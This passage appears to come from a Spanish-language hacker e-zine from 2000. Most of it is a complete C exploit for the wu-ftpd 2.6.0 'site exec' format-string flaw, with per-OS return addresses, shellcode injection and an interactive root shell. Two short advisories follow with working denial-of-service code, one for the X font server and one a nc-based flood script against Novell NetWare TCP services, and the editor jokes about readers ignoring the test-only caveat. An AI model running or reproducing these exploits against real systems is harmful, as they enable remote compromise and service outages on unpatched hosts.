struct targets targ[]={
{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
{1,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
{2,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
{3,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
{4,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
{5,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
{6,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
{7,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
{8,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
{0,NULL,NULL,0,0,0,{0},{0},0}
};
void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target : host with any wuftpd\nuser : anonymous user\n"
"dir : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g : enables magic string digging\n"
"-x : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr : this is pointer to shellcode\nsystypes: \n",zu);
for(i=0;targ[i].os_descr!=NULL;i++){
padding=0;
fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
if(q>1){
fprintf(stderr," Magic ID: [");
for(n=0;targ[i].magic[n]!=0;n++){
if(targ[i].magic_d[n]==4)
padding=targ[i].magic[n];
fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
if(targ[i].magic[n+1]!=0)
fprintf(stderr,":");
}
fprintf(stderr,"] Padding: %d\n",padding);
fflush(stderr);
}
}
exit(1);
}
int connect_to_server(char*host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;
if(host==NULL||*host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(1);
}
if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
if((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
}
memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
exit(1);
}
return sock;
}
int ftp_recv(int sock,char*buf,int buf_size,int disc){
int n=0;
char q;
if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
else {
(void)bzero(buf,buf_size);
n=recv(sock,buf,buf_size,0);
if(n<0){
fprintf(stderr,"ftp_recv: recv failed\n");
exit(1);
}
buf[n]=0;
}
return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
int n;
n=send(sock,what,size,0);
if(n!=size){
fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
shutdown(sock,2);
close(sock);
exit(1);
}
if(f)
return ftp_recv(sock,ans,ans_size,0);
return 0;
}
int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
ftp_send(sock,buff,buff_len,q,ans,ans_len);
if(strncmp(ans,"200-",4)==0)
ftp_recv(sock,NULL,0,1);
else
ftp_recv(sock,ans,ans_len,0);
if(strncmp(ans,"200-",4)){
fprintf(stderr,"Cannot find site exec response string\n");
exit(1);
}
return 0;
}
void ftp_login(int sock,char*u_name,char*u_pass)
{
char buff[2048];
printf("loggin into system..\n");
snprintf(buff,2047,"USER %s\r\n", u_name);
ftp_send(sock, buff,strlen(buff),1,buff,2047);
printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
snprintf(buff,2047,"PASS %s\r\n",u_pass);
printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
while(strstr(buff,"230 ")==NULL){
(void)bzero(buff,2048);
ftp_recv(sock,buff,2048,0);
}
printf("%s",buff);
return;
}
void ftp_mkchdir(int sock,char*cd,char*new)
{
char buff[2048];
sprintf(buff,"CWD %s\r\n",cd);
printf(GREEN"%s"NORM,buff);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf("%s",buff);
sprintf(buff,"MKD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
sprintf(buff,"CWD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
return;
}
void process_possibly_rooted(int sock)
{
fd_set fd_read;
char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
if((n=recv(sock,buff,sizeof(buff),0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sock,buff,n,0)<0) break;
}
usleep(10);
}
fprintf(stderr,"Connection aborted, select failed()\n");
exit(0);
}
int magic_check_f(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
if( before_len+10 < strlen(&ans[3]) ) return 0;
before_len=strlen(&ans[3]);
(void)strcat(str,"%.f");
return 1;
}
int magic_check_o(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
if( before_len== strlen(&ans[3]) ) {
before_len+=1;
(void)strcat(str, "%d");
return 3;
}
before_len=strlen(&ans[3]);
(void)strcat(str,"%c");
return 2;
}
int magic_check_ok( int sock, char *str)
{
char q[2048], ans[2048];
int i ,n=1, f, padding=0;
snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
if ( strstr(q, "\r\n" ) == NULL) {
fprintf(stderr, "Line too long\n");
exit(-1);
}
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if(strstr(ans,"0x61616161")==NULL)
return 0;
for(i =0; i < MAX_MAGIC && magic[i]; i++);
magic_d[i]=4;
while(n){
for(f=0; f< 2; f++) {
snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if( strstr(ans, "0x61616161")!=NULL) {
if (f==0) {
magic[i]=padding;
return 1;
} else if( f==1) {
strcat(str,"%p");
magic[i]=padding;
return 1;
}
}
}
if(padding > 4) {
fprintf(stderr,"Cannot calculate padding..\n");
exit(1);
}
padding++;
}
return 1;
}
int magic_digger(int sock)
{
int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
if(magic_str==NULL){
if((magic_str=(char*)malloc(4092))==NULL){
perror("malloc");
exit(errno);
}
}
(void)bzero(magic_str, 4092);
where=0;
while(get_out) {
int q;
if( where >= MAX_MAGIC-1 || all_failed <= 0 )
return -1;
if( magic_check_f(sock, magic_str) ) {
o=0,f++;
if(f==1){
if(!magic[where])
magic[where]=1;
else
magic[++where]+=1;
magic_d[where]=1;
} else
magic[where]+=1;
all_failed=MAX_FAILED*2;
printf("%s", "%.f"); fflush(stdout);
goto verify;
}
all_failed--;
if((q=magic_check_o(sock,magic_str))){
f=0,o++;
if(o==1){
if(!magic[where])
magic[0]=1;
else
magic[++where]+=1;
magic_d[where]=q;
} else {
if(magic_d[where]==q)
magic[where]+=1;
else {
magic[++where]=1;
magic_d[where]=q;
}
}
all_failed=MAX_FAILED*2;
printf("%s", q==2?"%c":"%d");
fflush(stdout);
goto verify;
}
all_failed--;
continue;
verify:
if(magic_check_ok(sock,magic_str)){
putchar('\n');
return 0;
}
}
return 0;
}
int main(int argc, char *argv[]){
char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
u_long ret_addr=0, pass_addr=0;
for(i=0;targ[i].os_descr!=NULL;i++);
while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
switch(c) {
case 't': target=optarg;break;
case 'l':
username=optarg;
passwd=strchr(optarg,'/');
if(passwd==NULL)
usage(argv[0],0);
*passwd++=(char)0;
break;
case 'x': testmode=1; break;
case 'o': offset=atoi(optarg);break;
case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
case 'g': gm=1; break;
case 'M': dir=optarg;mtype=1;break;
case 'm':
{
int where=0;
if(!*optarg) {
fprintf(stderr,"-m requires argument, try -h for help\n");
exit(1);
}
while(1) {
magic[where]=strtoul(optarg,&optarg,16);
optarg=strchr(optarg,',');
if(optarg==NULL){
printf("comma missing\n");
exit(1);
}
optarg++;
magic_d[where++]=strtoul(optarg,&optarg,16);
if(strchr(optarg,':')==NULL){
magic[where]=magic_d[where]=0;
break;
}
optarg=strchr(optarg,':');
optarg++;
}
}
break;
case 's':
num=atoi(optarg);
if(num>i) {
fprintf(stderr,"systype too big, try -h for help\n");
exit(1);
}
break;
case 'r':
ret_addr=strtoul(optarg,&optarg,16);
break;
case 'P':
padding=atoi(optarg);
break;
case 'H':
bla=2;
default: usage(argv[0],bla);break;
}
}
if(target==NULL){
fprintf(stderr,"No target specified, try -h for help\n");
exit(1);
}
if(num==-1||num==-2) {
for(i=0;!targ[i].def;i++);
num=i;
}
(void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
if(magic[1]!=0) {
memcpy((void*)getit.magic,magic,sizeof(magic));
memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
}
if(ret_addr)getit.addr_ret_addr=ret_addr;
if(pass_addr)getit.pass_addr=pass_addr;
getit.addr_ret_addr+=(offset*4);
sock=connect_to_server(target);
memset(shellcode, '\x90', sizeof(shellcode));
shellcode[sizeof(shellcode)-1]=(char)0;
if(!mtype){
memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
shellcode[sizeof(shellcode)-1]=(char)0;
}else{
memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
shellcode[250-1]=(char)0;
}
printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
buff=(char *)malloc(1024);
bzero(buff,1024);
(void)ftp_recv(sock,NULL,0,1);
(void)ftp_login(sock,username,passwd);
if(gm||(magic_str==NULL&&getit.magic[0]==0)){
printf("STEP 2A: Generating magic string: ");
fflush(stdout);
magic_digger(sock);
memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
printf("STEP 2B: MAGIC STRING: [");
} else {
printf("STEP 2 : Skipping, magic number already exists: [");
}
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
if(getit.magic[i+1]!=0)
putchar(':');
}
printf("]\n");
buff=(char *)realloc(buff, 4092);
(void)bzero(buff, 4092);
if(mtype)
ftp_mkchdir(sock,dir,shellcode);
printf("STEP 3 : Checking if we can reach our return address by format string\n");
if(!magic_str){
magic_str=(char*)malloc(2048);
if(magic_str==NULL) {
perror("malloc");
exit(errno);
}
(void)bzero(magic_str,2048);
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
switch(getit.magic_d[i]) {
case 1:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
break;
case 2:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
break;
case 3:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
break;
case 4:if(padding<0)padding=getit.magic[i];break;
default:fprintf(stderr,"STEP 3: INternal error\n");
exit(1);
break;
}
}
}
if(padding<0){
for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
if(num<(MAX_MAGIC-1))
padding=getit.magic[num];
else
fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
}
if(!getit.islinux){
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
} else {
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
}
sleep(getit.delay);
fflush(stdout);
if((buff_p=(char *)malloc(4096))==NULL){
fprintf(stderr,"malloc failed.\n");
exit(1);
}
(void)bzero(buff_p,4096);
ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
if((buff_p2=strchr(buff_p,'\r'))!=NULL)
*buff_p2=(char)0;
if((buff_p2=strchr(buff_p,'\n'))!=NULL)
*buff_p2=(char)0;
buff_p2=strstr(buff_p,"|0x");
if(buff_p2==NULL){
fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
exit(1);
}
buff_p2+=3;
if(!testmode)
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
else
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
sleep(getit.delay);
buff_p2=strstr(buff, "%.f");
*buff_p2++=(char )0;
strcpy(buff_p, buff);
if(!testmode)
sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
else
sprintf(buff_p+strlen(buff_p),"%s","%d%d");
strcpy(buff_p+strlen(buff_p), buff_p2);
buff_p2=strchr(buff_p,'|');
buff_p2++;
printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
if(!testmode){
strcpy(buff_p2,"%n\r\n");
ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
} else {
(void)bzero(buff,4096);
strcpy(buff_p2,"%s\r\n");
ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
printf("got answer: %s\n",buff);
exit(0);
}
free(buff_p);
free(buff);
signal(SIGINT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
printf(RED"Press ^\\ to leave shell"NORM"\n");
process_possibly_rooted(sock);
return 0;
}
-( 0x09 )-
Tema : Matar las X
Para : se ha probado en RH 6.x
Patch :
Fecha : 16 Abril 2000
Creditos : Michal Zalewski <lcamtuf@TPI.PL>
Un fallo en el codigo del X fontserver en RedHat 6.x (se produce un
puntero nulo,NULL, en strcpy()) puede producir un DoS. Cualquier usuario
sin privilegios puede llevar a cabo el DoS. EL codigo que demuestra el
fallo lo teneis a continuación:
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
#include <sys/socket.h>
#include <sys/un.h>
#define CNT 50
#define FS "/tmp/.font-unix/fs-1"
int s,y;
struct sockaddr_un x;
char buf[CNT];
main() {
for (y;y<2;y++) {
s=socket(PF_UNIX,SOCK_STREAM,0);
x.sun_family=AF_UNIX;
strcpy(x.sun_path,FS);
if (connect(s,&x,sizeof(x))) { perror(FS); exit(1); }
if (!y) write(s,"lK",2);
memset(buf,'A',CNT);
write(s,buf,CNT);
shutdown(s,2);
close(s);
}
}
-( 0x10 )-
Tema : NOVELL NETWARE DOS
Para : Novell Netware 5.1 (server 5.00h, Dec 11, 1999)
Patch : despacito y con cuidado, la actualizacion.
Fecha : 18 Abril 2000
Creditos : Michal Zalewski <lcamtuf@TPI.PL>
Otro ataque a la pila TCP/IP, esta vez un overflow en Netware. El overflow
se encuentra en el protocolo de administracion remota (normalmente para
http el 8080, etc.) con tcp habilitado.
Enviando una peticion (por ejemplo con GET ) que este entre 4 y 8 kb,
recibiremos un mensaje de error en la consola, mientras que la conexion no
se libera.
Que podemos hacer con esto, ademas de escribir una shell code y(o ejecutar
codigo arbitrariamente en el server... pues si os fijais al no liberarse
las conexiones cuando realizas este ataque repitiendolo varias veces (o
unas cientos) podemos dejar a la makina sin servicios tcp de red, e
incluso matar totalmente el server.
Adjuntamos un codigo que produce la caida de los servicios TCP/IP en una
makina corriendo Novell. El autor pedia en el report que para usos de
test se cambiasen las variables $SERVER y $PORT, pero el que no quiera y
ademas use Novell... };-)
-- kill_nwtcp.c --
#!/bin/sh
SERVER=127.0.0.1
PORT=8008
WAIT=3
DUZOA=`perl -e '{print "A"x4093}'`
MAX=30
while :; do
ILE=0
while [ $ILE -lt $MAX ]; do
(
(
echo "GET /"
echo $DUZOA
echo
) | nc $SERVER $PORT &
sleep $WAIT
kill -9 $!
) &>/dev/null &
ILE=$[ILE+1]
done
sleep $WAIT
done
*EOF*